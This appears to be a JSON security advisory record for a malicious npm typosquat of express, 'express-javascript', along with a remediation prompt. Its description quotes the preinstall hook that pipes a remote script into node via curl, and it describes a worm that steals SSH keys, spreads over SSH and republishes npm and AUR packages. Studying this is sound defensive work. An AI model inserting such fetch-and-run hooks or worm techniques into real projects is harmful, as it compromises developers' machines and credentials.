{"answers":{"affected":"1 open source package ship an affected version, including express-javascript.","exploited":"There is no known exploitation of MAL-2026-17242 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17242 is a malicious package in express-javascript, published on 29 Sep 2026."},"fix_prompt":"MAL-2026-17242 is a malicious package: express-javascript (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17242/ (Markdown: https://insights.sbomify.com/MAL-2026-17242/index.md)","id":"MAL-2026-17242","markdown":"https://insights.sbomify.com/MAL-2026-17242/index.md","name":"MAL-2026-17242","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package express-javascript impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.\n\nOn Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named \"Font Rendering Service\" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.\n\nexpress-javascript@5.2.2 is a typosquat of the real express framework, shipping cloned package metadata (author TJ Holowaychuk, repository expressjs/express, homepage expressjs.com, matching keywords and dependencies) to appear as the genuine package. Its package.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a remote, unpinned, non-publisher JavaScript payload from a third-party Russian code-hosting service (proxied through web.archive.org) and piping it directly into node for execution. The fetch and execute fire automatically on `npm install` with no integrity check, no version pinning, and no relation to the express project's real infrastructure. The fetched content is attacker-controlled and can change at any time.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in express-javascript (npm)","id":"MAL-2026-17242","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"express-javascript","purl":"pkg:npm/express-javascript","source":"MAL-2026-17242"}],"products":null,"published":"2026-09-29","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17242/"}